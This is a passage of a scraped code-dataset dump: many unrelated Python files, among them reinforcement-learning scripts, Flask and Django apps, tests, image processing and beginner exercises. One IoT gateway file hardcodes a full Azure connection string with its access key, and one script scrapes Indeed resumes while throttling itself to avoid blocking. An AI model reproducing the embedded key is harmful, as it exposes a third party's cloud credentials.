依次相加\n a = policy(s, Q_integrate) # Double Q-learning：derive a action form Q1 and Q2\n\n if s == STATE_A and a == ACTION_A_LEFT:\n left_count += 1\n\n reward = step(s, a)\n n_s = TRANSITION[s][a]\n\n if Q2 is None:\n active_Q = Q1\n max_n_q = np.max(active_Q[n_s])\n else:\n if np.random.binomial(1, 0.5) == 1:\n active_Q = Q1\n target_Q = Q2\n else:\n active_Q = Q2\n target_Q = Q1\n best_a = [a for a, q in enumerate(active_Q[n_s]) if q == np.max(active_Q[n_s])]\n a = np.random.choice(best_a)\n max_n_q = target_Q[n_s][a]\n\n active_Q[s][a] += ALPHA * (reward + GAMMA * max_n_q - active_Q[s][a]) # 策略评估，更新Q\n s = n_s # 更新状态\n\n return left_count # 返回值 非0即1\n\ndef figure_6_7():\n # each independent run has 100 episodes\n episodes = 100\n runs = 1000\n\n left_counts = np.zeros((runs, episodes))\n # left_counts_Double_Q_Learning = np.zeros((runs, episodes))\n\n for run in tqdm(range(runs)): # 用于对每一次迭代求均值\n Q = copy.deepcopy(INITIAL_Q) # -》copy.deepcopy(*) 深拷贝。 重置Q\n Q1 = copy.deepcopy(INITIAL_Q)\n Q2 = copy.deepcopy(INITIAL_Q)\n for ep in range(0, episodes): # 迭代开始\n left_counts[run, ep] = q_learning(Q)\n print('*'*10)\n # left_counts_Double_Q_Learning[run, ep] = q_learning(Q1, Q2)\n\n # 把每一episode中向左移动的次数求均值，以表示出 % left actions from A —— 在episode中从A向左移动的次数/总移动次数。 注意是| | | | 地求均值\n # episode越到后面Q越稳定，智能体越容易往右走，即越不容易出现最大化偏差问题\n # left_counts = left_counts.mean(axis=0) # len(left_counts_q)=100\n left_counts_Double_Q_Learning = left_counts_Double_Q_Learning.mean(axis=0)\n\n plt.plot(left_counts, label='Q-Learning')\n # plt.plot(left_counts_Double_Q_Learning, label='Double Q-Learning')\n plt.plot(np.ones(episodes) * 0.05, label='Optimal')\n plt.xlabel('episodes')\n plt.ylabel('% left actions from A')\n plt.legend()\n\n plt.savefig('figure_6_7.png')\n plt.close()\n\nif __name__ == '__main__':\n figure_6_7()\n","repo_name":"www2171668/Python","sub_path":"3-RL/5-TD/2-maximization_bias/maximization_bias.py","file_name":"maximization_bias.py","file_ext":"py","file_size_in_byte":4395,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"16011376117","text":"import os\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n# create a new Firefox session\ndriver = webdriver.Firefox()\ndriver.implicitly_wait(30)\ndriver.get('https://resumes.indeed.com')\n\n# Read the resume links from the text file\nresumes_url = ['']\nwith open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'scraped_resume_links.txt'), 'r') as resume_links:\n for link in resume_links:\n resumes_url.append(link)\nresumes_url.pop(0)\n\n# Create the resumes\nfor url in resumes_url:\n\n resume_index = str(resumes_url.index(url))\n resume_name = ''.join(['indeed_resume_', resume_index])\n\n # Navigate to the resume's location\n driver.get(url)\n resume_body = driver.find_elements_by_class_name('rezemp-ResumeDisplay-body')\n\n with open(resume_name, 'w') as write_resume:\n write_resume.write('ResumeAI[indeed.com]\\n')\n write_resume.write(url)\n write_resume.write('\\n')\n for element in resume_body:\n write_resume.write(element.text)\n\n # Wait 10 seconds before going to the next resume, to not get blocked\n time.sleep(10)","repo_name":"navjotts/resume-assistant","sub_path":"server/scraping/scrape_resumes.py","file_name":"scrape_resumes.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"28485732023","text":"import paho.mqtt.client as mqtt\nimport sqlite3\nimport datetime\nfrom azure.iot.device import IoTHubDeviceClient, Message\n\n\ndef iothub_client_init():\n # Create an IoT Hub client\n CONNECTION_STRING = \"HostName=iot-redes.azure-devices.net;DeviceId=proyecto;SharedAccessKey=wyfpIyoYF77Wpri5tYeM7nOl+W7k+zyzaVJ9f5KFO34=\"\n client = IoTHubDeviceClient.create_from_connection_string(\n CONNECTION_STRING)\n return client\n\n\ndef azure_upload(table, value, azure_client):\n\n try:\n message_json = '{{\"From\": \"Esp32-Pi\",\"To\": \"Azure\",{}: {}}}'.format(\n str(table), value)\n message = Message(message_json)\n print(\"Sending message: {}\".format(message))\n azure_client.send_message(message)\n print(\"Message successfully sent\")\n\n except KeyboardInterrupt:\n print(\"Some stop\")\n\n\ndef query(table, column, value, cursor, conexion):\n now = datetime.datetime.now()\n print('insert into {} (register_time,{}) values ({},{});'.format(\n table, column, now, value))\n cursor.execute(\n 'insert into {} (register_time,{}) values (\"{}\",{});'.format(table, column, now, value))\n conexion.commit()\n\n\ndef on_connect(client, userdata, flags, rc):\n print('Se conecto con mqtt'+str(rc))\n client.subscribe('temperature')\n client.subscribe('luminosity')\n client.subscribe('hygrometry')\n\n\ndef on_message(client, userdata, msg):\n if msg.topic == 'temperature':\n temperature = str((msg.payload.decode()))\n print(f'Temperatura: {temperature} °C')\n query('Temperature', 'temperature', float(\n temperature), cursor, conexion)\n azure_upload('Temperature', float(temperature), azure_client)\n elif msg.topic == 'luminosity':\n luminosity = str((msg.payload.decode()))\n print(f'Luminosidad: {luminosity}')\n query('Luminosity', 'luminosity', float(luminosity), cursor, conexion)\n azure_upload('Luminosity', float(luminosity), azure_client)\n elif msg.topic == 'hygrometry':\n hygrometry = str((msg.payload.decode()))\n print(f'Hygrometry: {hygrometry} %')\n query('Hygrometry', 'hygrometry', float(hygrometry), cursor, conexion)\n azure_upload('Hygrometry', float(hygrometry), azure_client)\n\n\nazure_client = iothub_client_init()\nconexion = sqlite3.connect('mqtt.db')\ncursor = conexion.cursor()\n\ntry:\n cursor.execute('''create table Temperature(id integer primary key autoincrement,\n register_time timestamp not null,temperature float not null);''')\n cursor.execute('''create table Luminosity(id integer primary key autoincrement,\n register_time timestamp not null,luminosity float not null);''')\n cursor.execute('''create table Hygrometry(id integer primary key autoincrement,\n register_time timestamp not null,hygrometry float not null);''')\n print('Se creo la base de datos')\nexcept:\n print('Ya existe la base de datos')\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nclient.connect('192.168.178.38', 1883, 60)\n\nclient.loop_forever()\n\nconexion.close()\n","repo_name":"NicolasCifuentesB/ESPnow-MQTT-Azure-ESP32-Raspberry-PI","sub_path":"proyect/RASPBERRYPI/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33029074692","text":"from copy import deepcopy\r\nimport heapq\r\nfrom collections import deque\r\nfrom itertools import combinations\r\nimport sys\r\nsys.setrecursionlimit(10**5)\r\ndx = [1,-1,0,0]\r\ndy = [0,0,1,-1]\r\nINF = int(1e9)\r\ninput = sys.stdin.readline\r\narr = []\r\nn = int(input())\r\nstack = []\r\nx,y = map(int,input().split())\r\ncnt = 0\r\nfor i in range(n-1):\r\n nx,ny = map(int,input().split())\r\n # 내려가는 경우\r\n if y>0 and ny<0:\r\n # 앞에서 올라가지 않았는데\r\n # 내려가는 경우 stack에 넣음\r\n if len(stack)==0:\r\n cnt+=1\r\n stack.append([nx,cnt])\r\n else:\r\n cx,cur_cnt = stack.pop()\r\n arr.append([cx,cur_cnt])\r\n arr.append([nx,cur_cnt])\r\n # 올라가는 경우\r\n # 무조건 스택에 넣음\r\n if y<0 and ny>0:\r\n cnt+=1\r\n stack.append([nx,cnt])\r\n y = ny\r\n x = nx\r\n# 스택에 1개 있을 경우는\r\nwhile len(stack)>1:\r\n cnt+=1\r\n dx = stack.pop()\r\n arr.append([dx[0],cnt])\r\n dx = stack.pop()\r\n arr.append([dx[0],cnt])\r\nif len(stack)==1:\r\n cnt+=1\r\n dx = stack.pop()\r\n arr.append([dx[0],cnt])\r\n arr.append([x,cnt])\r\narr.sort()\r\nstack = []\r\nfirst = 0\r\nsecond = 0\r\nfor i in range(len(arr)):\r\n if len(stack)==0:\r\n stack.append(arr[i])\r\n else:\r\n if stack[-1][1] == arr[i][1]:\r\n if arr[i][1] == arr[i-1][1]:\r\n second+=1\r\n stack.pop()\r\n if len(stack)==0:\r\n first+=1\r\n else:\r\n stack.append(arr[i])\r\n\r\nprint(first,second)","repo_name":"slbin-park/Algorithm","sub_path":"백준/Platinum/14865. 곡선 자르기/곡선 자르기.py","file_name":"곡선 자르기.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"33813696585","text":"import sqlite3\n\ndef init():\n conn = sqlite3.connect('/testDB.sqlite3')\n c = conn.cursor()\n c.execute(\"create table tasks(id integer, task text, limitdate text, detail text, category text, remarks text, finished integer)\")\n c.execute(\"insert into tasks values (?, ?, ?, ?, ?, ?, ?)\", (1, 'タスクA', '2019-08-31', 'タスクAを完了させる', '仕事', 'もうすぐ完了', 0))\n c.execute(\"SELECT * FROM tasks\")\n conn.commit()\n print(c.fetchall())\n\nif __name__ == '__main__':\n init()","repo_name":"KumaRyo4611/ToDoManagement","sub_path":"api/initdb.py","file_name":"initdb.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14621622586","text":"from application import app\nfrom flask import render_template, redirect, jsonify, request, current_app\n\n@app.route(\"/video/like\", methods=['GET'])\ndef like():\n try:\n videos_curtidos = current_app.config ['video']\n video_id_like = request.values.get('like')\n video = videos_curtidos.getVideoById(video_id_like)\n video.setLike(video.getLikes() +1)\n return jsonify(qtd_likes = video.getLikes())\n except Exception as e:\n return str(e)\n\n@app.route(\"/video/unlike\", methods=['GET'])\ndef unlike():\n try:\n videos_curtidos = current_app.config ['video']\n video_id_like = request.values.get('unlike')\n video = videos_curtidos.getVideoById(video_id_like)\n video.setLike(video.getLikes() -1)\n return jsonify(qtd_likes = video.getLikes())\n except Exception as e:\n return str(e)\n\n\n@app.route(\"/player/comment\", methods=['GET'])\ndef comment(video_id):\n video = current_app.config['video'].show(video_id)\n comment.setComment(request.values.get('comment'))\n\n return jsonify(comment = video.setComment())\n \n\n@app.route(\"/player/search\", methods=['GET'])\ndef search():\n search = request.values.get('search')\n \n video = current_app.config['video'].getVideoByTitle(search)\n \n return jsonify(video)\n\n\n@app.route(\"/player/\")\ndef player(video_id):\n video = current_app.config['video'].show(video_id)\n comments = current_app.config['commentary'].getCommentsByVideo(video_id)\n video.setViews(video.getViews() +1)\n\n if (video is None):\n return redirect('/')\n\n return render_template (\"player.html\", video = video, comments = comments, countComments = len(comments))\n\n","repo_name":"igoramos77/TASSIOFLIX","sub_path":"application/controller/player_controller.py","file_name":"player_controller.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25924198208","text":"import pygame\nfrom pygame.sprite import Sprite\n\n\nclass Cell(Sprite):\n def __init__(self, screen, xpos, ypos, cellSize, x_id, y_id):\n super().__init__() # Cell class inherits from Sprite\n\n self.screen = screen\n self.cellSize = cellSize\n self.x_id = x_id\n self.y_id = y_id\n self.xpos = xpos\n self.ypos = ypos\n\n self.color = (255, 255, 255) # Start out as white cell\n self.fill_color = (0, 0, 0)\n\n self.draw_rect(self.cellSize)\n\n def draw_on_cell(self, game_state):\n self.color = game_state.draw_color\n\n def draw_cell(self):\n \"\"\"Draw the bullet to the screen\"\"\"\n pygame.draw.rect(self.screen, self.color, self.rect)\n\n def return_drawn(self):\n if self.color == self.fill_color:\n output = 1\n else:\n output = 0\n return output\n\n def draw_rect(self, draw_size):\n self.rect = pygame.Rect(self.xpos, self.ypos, draw_size,\n draw_size)\n","repo_name":"jdcollier89/DigitRecognizerGame","sub_path":"src/cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6844972468","text":"import mock\nimport os\n\nfrom .. import base\nfrom girder.utility import plugin_utilities\n\n\nclass PluginLoadFailureTestCase(base.TestCase):\n \"\"\"\n Test error reporting when a plugin fails to load.\n \"\"\"\n\n def setUp(self):\n testPluginPath = os.path.normpath(os.path.join(\n os.path.dirname(os.path.abspath(__file__)), '..', '..', 'test', 'test_plugins'\n ))\n self.mockPluginDir(testPluginPath)\n base.enabledPlugins.append('bad_server')\n\n with mock.patch('girder.utility.plugin_utilities.logprint.exception'):\n base.startServer()\n\n def tearDown(self):\n base.stopServer()\n self.unmockPluginDir()\n\n def testPluginLoadFailure(self):\n failureInfo = plugin_utilities.getPluginFailureInfo()\n self.assertIn('bad_server', failureInfo)\n self.assertIn('traceback', failureInfo['bad_server'])\n self.assertIn('Traceback', failureInfo['bad_server']['traceback'])\n self.assertIn('Exception: Bad server', failureInfo['bad_server']['traceback'])\n","repo_name":"ShenQianwithC/girder-pv","sub_path":"tests/cases/plugin_load_failure_test.py","file_name":"plugin_load_failure_test.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74013685902","text":"import unittest\n\nimport pandas as pd\n\nfrom src.preprocessing import (\n _remove_duplicate_labels,\n _remove_nonvoice_segments,\n)\n\n\nclass TestNonvoiceSegments(unittest.TestCase):\n def test_remove_nonvoice_segments_1(self):\n sig = [0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0]\n sig_short = _remove_nonvoice_segments(\n sig, min_length=3, min_value_rel=0.5\n )\n self.assertEqual(len(sig_short), 7)\n\n def test_remove_nonvoice_segments_2(self):\n sig = [0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0]\n sig_short = _remove_nonvoice_segments(\n sig, min_length=2, min_value_rel=0.5\n )\n self.assertEqual(len(sig_short), 5)\n\n def test_remove_nonvoice_segments_3(self):\n sig = [0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0]\n sig_short = _remove_nonvoice_segments(\n sig, min_length=4, min_value_rel=0.5\n )\n self.assertEqual(len(sig_short), 10)\n\n\nclass TestRemoveDuplicateLabels(unittest.TestCase):\n def test_remove_duplicate_labels_1(self):\n df = pd.DataFrame(\n [\n [\"file1\", \"20220101\", \"102030\", \"1\"],\n [\"file1\", \"20220303\", \"102030\", \"3\"],\n [\"file1\", \"20220202\", \"102030\", \"2\"],\n ],\n columns=[\"filename\", \"label_date\", \"label_time\", \"label\"],\n )\n df_removed_duplicates = _remove_duplicate_labels(df)\n self.assertListEqual(\n df_removed_duplicates.values.tolist(),\n [[\"file1\", \"20220303\", \"102030\", \"3\"]],\n )\n self.assertEqual(len(df_removed_duplicates), 1)\n\n def test_remove_duplicate_labels_2(self):\n df = pd.DataFrame(\n [\n [\"file1\", \"20220101\", \"102030\", \"1\"],\n [\"file2\", \"20220303\", \"102030\", \"3\"],\n [\"file1\", \"20220303\", \"102030\", \"3\"],\n [\"file1\", \"20220202\", \"102030\", \"2\"],\n [\"file2\", \"20220101\", \"102030\", \"1\"],\n [\"file2\", \"20220202\", \"102030\", \"2\"],\n [\"file3\", \"20220101\", \"102030\", \"1\"],\n ],\n columns=[\"filename\", \"label_date\", \"label_time\", \"label\"],\n )\n df_removed_duplicates = _remove_duplicate_labels(df)\n self.assertListEqual(\n df_removed_duplicates.values.tolist(),\n [\n [\"file1\", \"20220303\", \"102030\", \"3\"],\n [\"file2\", \"20220303\", \"102030\", \"3\"],\n [\"file3\", \"20220101\", \"102030\", \"1\"],\n ],\n )\n self.assertEqual(len(df_removed_duplicates), 3)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"spokli/speaker_identification","sub_path":"test/test_preprocessing.py","file_name":"test_preprocessing.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29921062141","text":"#!/usr/bin/env python3\n\nimport math\n# sudo pip install plotly\nimport plotly\nimport plotly.graph_objs as go\n\ndef plotly_plot(plot_title, xdata, ydata):\n plotly.offline.plot({\"data\": [go.Scatter(x=xdata, y=ydata)], \"layout\": go.Layout(title=plot_title) }, \n auto_open=True)\n\ndef my_plot (title, func, x_min, x_max):\n xarray=[]\n yarray=[]\n step = (x_max - x_min)/1000\n for i in range(0, 1000):\n x = x_min + step * i\n y = func(x)\n xarray.append(x)\n yarray.append(y)\n plotly_plot(title, xarray, yarray) \n\ndef my_func(x):\n return math.sin(x) * x\n\nmy_plot(\"x*sin(x)\", my_func, 0, 100*math.pi)\n\n \n","repo_name":"jingshao69/py4fun","sub_path":"plotly1.py","file_name":"plotly1.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24266254512","text":"from skimage import data, io\nfrom matplotlib import pyplot as plt\nimport math\nimport numpy as np\nimport sys\n\n#定义RGB图像转换为HSI图像的函数\ndef RGB_to_HSI(r, g, b):\n r = r / 255\n g = g / 255\n b = b / 255\n num = 0.5 * ((r - g) + (r - b))\n den = ((r - g) * (r - g) + (r - b) * (g - b)) ** 0.5\n if b <= g:\n if den == 0:\n den = sys.float_info.min\n h = math.acos(num / den)\n elif b > g:\n if den == 0:\n den = sys.float_info.min\n h = (2 * math.pi) - math.acos(num / den)\n s = 1 - (3 * min(r, g, b) / (r + g + b))\n i = (r + g + b) / 3\n return int(h), int(s * 100), int(i * 255)\n\n\n# image = io.imread('test.jpg')\nimage = data.coffee()\nhsi_image = np.zeros(image.shape, dtype='uint8')\nfor i in range(image.shape[0]):\n for j in range(image.shape[1]):\n r, g, b = image[i, j, :]\n h, s, i = RGB_to_HSI(r, g, b)\n hsi_image[i, j, :] = (h, s, i)\n print(hsi_image[i, j, :])\n\nplt.figure()\nplt.axis('off')\nplt.imshow(image) # 显示RGB原图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(image[:, :, 0], cmap='gray') # 显示RGB原图像R分量\n\nplt.figure()\nplt.axis('off')\nplt.imshow(image[:, :, 1], cmap='gray') # 显示RGB原图像G分量\n\nplt.figure()\nplt.axis('off')\nplt.imshow(image[:, :, 2], cmap='gray') # 显示RGB原图像B分量\n\nplt.figure()\nplt.axis('off')\nplt.imshow(hsi_image) # 显示HSI图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(hsi_image[:, :, 0], cmap='gray') # 显示HSI图像H分量\n\nplt.figure()\nplt.axis('off')\nplt.imshow(hsi_image[:, :, 1], cmap='gray') # 显示HSI图像S分量\n\nplt.figure()\nplt.axis('off')\nplt.imshow(hsi_image[:, :, 2], cmap='gray') # 显示HSI图像I分量\n\nplt.show()\n","repo_name":"Yuanmu-JH/DIP","sub_path":"test/Chapter2/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3272345736","text":"from django.urls import path\r\n\r\nfrom todo.views import (\r\n TaskListView,\r\n TaskCreateView,\r\n TaskUpdateView,\r\n TaskDeleteView,\r\n TagListView,\r\n TagCreateView,\r\n TagUpdateView,\r\n TagDeleteView,\r\n task_remove_or_assign\r\n)\r\n\r\nurlpatterns = [\r\n path(\"\", TaskListView.as_view(), name=\"index\"),\r\n path(\"create/\", TaskCreateView.as_view(), name=\"index-create\"),\r\n path(\"/update/\", TaskUpdateView.as_view(), name=\"index-update\"),\r\n path(\"/delete/\", TaskDeleteView.as_view(), name=\"index-delete\"),\r\n path(\"tags/\", TagListView.as_view(), name=\"tag-list\"),\r\n path(\"tags/create/\", TagCreateView.as_view(), name=\"tag-create\"),\r\n path(\"tags//update/\", TagUpdateView.as_view(), name=\"tag-update\"),\r\n path(\"tags//delete/\", TagDeleteView.as_view(), name=\"tag-delete\"),\r\n path(\"/assign/\", task_remove_or_assign, name=\"task-remove-or-assign\"),\r\n]\r\n\r\napp_name = \"todo\"\r\n","repo_name":"me1nyk/todo-list-project","sub_path":"todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21411021185","text":"\"\"\" This script makes a single xml file of all of the MODS records from an \r\nIslandora collection by concatenating them into a new file. Because each \r\nindividual MODS record begins in its own directory, it moves them all to a \r\nsingle directory and then does the concat. The resulting document may still\r\nneed some manual work to be valid.\"\"\"\r\n\r\nimport glob\r\nimport os\r\nimport shutil\r\n\r\nRootDir = r'/home/oconnowy/Downloads/ThesesCopy'\r\nTargetFolder = r'/home/oconnowy/Git/BostonCollegeMisc/Islandora/AllXML'\r\niteration = 0\r\n\r\n#First we rename all the MODS files in each subdirectory so that they are unique\r\nfor root, dirs, files in os.walk((os.path.normpath(RootDir)), topdown=False):\r\n\tfor name in files:\r\n\t\t# print(\"Found File\")\r\n\t\torigName = os.path.join(root,name)\r\n\t\tos.rename(origName, origName[:len(origName)-4] + str(iteration) + origName[len(origName)-4:])\r\n\t\titeration += 1 \r\n\r\n#Then we move each MODS file to the same folder\r\nfor root, dirs, files in os.walk((os.path.normpath(RootDir)), topdown=False):\r\n\tfor name in files:\r\n\t\tif name.endswith('.xml'):\r\n\t\t\t# print(\"Found\")\r\n\t\t\tSourceFolder = os.path.join(root,name)\r\n\t\t\tshutil.copy2(SourceFolder, TargetFolder)\r\n\r\n# Then we concat each MODS file into a single new file\r\nreadFiles = glob.glob('/home/oconnowy/Git/BostonCollegeMisc/Islandora/AllXML/*.xml')\r\nwith open('/home/oconnowy/Git/BostonCollegeMisc/Islandora/all_islandora_theses.xml', 'wb') as outfile:\r\n for fileName in readFiles:\r\n with open(fileName, 'rb') as infile:\r\n outfile.write(infile.read())\r\n","repo_name":"oconnorv/bostonCollege","sub_path":"islandora/ConcatMODS.py","file_name":"ConcatMODS.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33484838635","text":"print('Quadrado de um número')\r\nnum1 = int(input('Digite um número: '))\r\nresp1 = num1 ** 2\r\nprint('O número digitado é {} e o seu valor ao quadrado vale {}'.format(num1, resp1))\r\n\r\n\r\nprint('Divisão entre dois números')\r\nn1 = float(input('Digite o primeiro número: '))\r\nn2 = float(input('Digite o segundo número: '))\r\ndiv = n1 / n2\r\nprint('A divisão entre {} e {} vale {:.3f}'.format(n1, n2, div)) #DIV SERÁ APRESENTADA COM 3 CASAS DECIMAIS\r\n\r\nprint('Resto da divisão de um número por 2')\r\nnum2 = int(input('Digite um número: '))\r\ndiv2 = num2 % 2\r\nprint('O resto da divisão de {} por 2 vale: {}'.format(num2, div2))\r\n\r\nprint('Média aritmética entre dois números')\r\nn3 = float(input('Digite o primeiro número: '))\r\nn4 = float(input('Digite o segundo número: '))\r\nmedia = (n3 + n4) / 2\r\nprint('A média entre {:.1f} e {:.1f} vale {:.2f}'.format(n3, n4, media))\r\n\r\nprint('Cálculo da área, comprimento e diâmetro de uma circunferência')\r\nraio = float(input('Digite o raio da circunferência: '))\r\npi = 3.14\r\narea = pi * (raio ** 2)\r\ncomprimento = 2 * pi * raio\r\ndiametro = 2 * raio\r\nprint('Para uma circunferência de raio {} temos: área = {:.2f}, comprimento = {:.2f} e diâmetro = {:.2f}'. format(raio, area, comprimento, diametro))","repo_name":"carolinesdo/LP1-Python","sub_path":"Lista1_Exercício01.py","file_name":"Lista1_Exercício01.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16330057656","text":"import pandas as pd\n\n\n# 读取data4.csv的文件\ndata = pd.read_csv('./data/data4.csv', sep='|')\n\n# 根据范围进行筛选\n# 获取comments 大于10000的所有行\n# print( data[ data['comments'] > 10000 ] )\n# 筛选具体的范围 between(2000, 10000)\n# res1 = data.comments.between(2000, 10000)\n# print( data[res1] )\n# 多个条件进行筛选 并且\n# res2 = (data.comments >= 1000) & (data.comments <= 10000)\n# print( data[res2])\n# 多个条件 或\n# res3 = (data.comments <= 1000) | (data.comments >= 10000)\n# print( data[res3] )\n# title列 筛选空值 ~\n# res4 = pd.isna(data['title'])\n# print(data[ ~res4 ])\n# 筛选title中包含 小米的数据\nres5 = data.title.str.contains('小米', na=False)\n# print(res5)\nprint( data[res5] )","repo_name":"WangSimiao2000/LearningNotes","sub_path":"PythonLearn/day07/08-pandas数据筛选.py","file_name":"08-pandas数据筛选.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72708038541","text":"#!/usr/bin/env python3.6\n\nimport sys\nimport os\nimport subprocess\nimport re\n\nfrom scripts.vyper_parser import main as parse # string -> string\nfrom scripts.op2byte import encode as op2byte # string list -> bytes\n\npath = os.path.dirname(os.path.realpath(__file__))\n\n\ndef krun(kdir, pgm): # string * string -> string\n try:\n p = subprocess.run(['krun', '-d', os.path.join(path, kdir), '-cPGM=' + pgm, '-pPGM=kast -e', '--debug'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding='utf-8')\n except FileNotFoundError as e:\n print(\"Error: subprocess.run() ended with FileNotFoundError for file: \" + str(e.filename), file=sys.stderr)\n raise e\n\n if p.returncode == 0:\n return p.stdout\n else:\n raise RuntimeError(p.stderr)\n\n\ndef viper2lll(ast): # string -> string\n out = krun('vyper-lll', ast)\n\n if \" . \" in out:\n lll = re.search(r' (.*) ', out).group(1)\n return lll\n else:\n raise RuntimeError(\"vyper-lll computation got stuck:\\n\\n\" + out + \"\\n\\n\")\n\n\ndef lll2evm(lll): # string -> string list\n out = krun('lll-evm', lll)\n\n if \" . \" in out:\n evm = re.compile(r' \\) ListItem \\( ').sub(' ', re.search(r' ListItem \\( (.*) \\) ', out).group(1))\n return evm.split(' ')\n else:\n raise RuntimeError(\"lll-evm computation got stuck:\\n\\n\" + out + \"\\n\\n\")\n\n\ndef compile(code): # string -> bytes\n ast = parse(code)\n lll = viper2lll(ast)\n evm = lll2evm(lll) # list of opcodes\n return op2byte(evm)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print(\"no input file\")\n sys.exit(1)\n with open(sys.argv[1], \"r\") as fin:\n code = fin.read()\n print('0x' + compile(code).hex())\n","repo_name":"kframework/vyper-semantics","sub_path":"kvyper.py","file_name":"kvyper.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"47"} +{"seq_id":"4642946531","text":"\"\"\"\r\nЗАДАНИЕ 1 (Обязательно)\r\n\r\n1.\tнаписать код для https://github.com/makarova1507ana/python323/tree/main/%D0%9E%D0%9E%D0%9F/%D0%BA%D0%BE%D1%80%D0%B7%D0%B8%D0%BD%D0%B0%20%D1%82%D0%BE%D0%B2%D0%B0%D1%80%D0%BE%D0%B2 \r\n1.1.\tЗапрещено менять:\r\n1.1.1.\tlist_products , атрибуты класса (должны остаться закрытыми )\r\n1.2.\tнеобходимо реализовать возможность подсчета стоимости товаров в корзине\r\n\r\n\"\"\"\r\n\r\nfrom Product import Product\r\n\r\n\r\ndef append_to_shop_cart():\r\n # цикл для добавления товаров пользователем\r\n while True:\r\n # номер товара опеделяет пользователь\r\n user_choice = input(\r\n 'would you like the product of number ... ') # дописать условия добавления и т.д. выход из системы\r\n if user_choice == '0':\r\n break\r\n\r\n # добавит блок проверки перед добавлением в корзину попапку\r\n shop_cart.append(list_products[int(user_choice) - 1])\r\n\r\n\r\ndef show_shop_cart():\r\n i = 1\r\n print('\\n ***************shop_cart***************')\r\n for product in shop_cart:\r\n print(str(i) + \". \", end='')\r\n product.show()\r\n i += 1\r\n\r\n\r\n# список всех товаров в магазине\r\nlist_products = [Product('short', 'одежда', 250), Product('boots', 'обувь', 2000), Product('jerry', 'украшение', 10000)]\r\n\r\ni = 1\r\nshop_cart = []\r\nfor product in list_products:\r\n print(str(i) + \". \", end='')\r\n product.show()\r\n i += 1\r\n\r\nappend_to_shop_cart()\r\n\r\n# список добавленных товаров в корзину\r\nshow_shop_cart()\r\n\r\nto_pay = 0\r\n\r\nfor product in shop_cart:\r\n to_pay += product.cost\r\n\r\nprint(f'К оплате: {to_pay}')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# через класс магазин\r\n# Создать класс Корзина товаров ->\r\n# Для данного задания понадобится класс товар (название, тип(одежда, обувь, украшение), стоимость)\r\n# реализовать общий список всех товаров\r\n# список добавленных товаров в корзину\r\n# необходимо реализовать возможность подсчета товаров\r\n\r\n# from Product import *\r\n# from Shop import *\r\n# from ShopCart import *\r\n#\r\n# shop = Shop('SHOP_2_0', Product('short', 'одежда', 250), Product('boots', 'обувь', 2000),\r\n# Product('jerry', 'украшение', 10000))\r\n# shop.show()\r\n#\r\n# shop_cart = ShopCart()\r\n# while True:\r\n# # номер товара опеделяет пользователь\r\n# user_choice = input(\r\n# 'would you like the product of number ... ') # дописать условия добавления и т.д. выход из системы\r\n# if user_choice == '0':\r\n# break\r\n# # добавит блок проверки перед добавлением в корзину попапку\r\n# product = shop.products[int(user_choice) - 1]\r\n#\r\n# shop_cart.append_product(product)\r\n#\r\n# shop_cart.show()\r\n# print(shop_cart.cost_products)\r\n","repo_name":"wladiggg/dz","sub_path":"dzProducts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71058638864","text":"class Solution:\n def bestTeamScore(self, 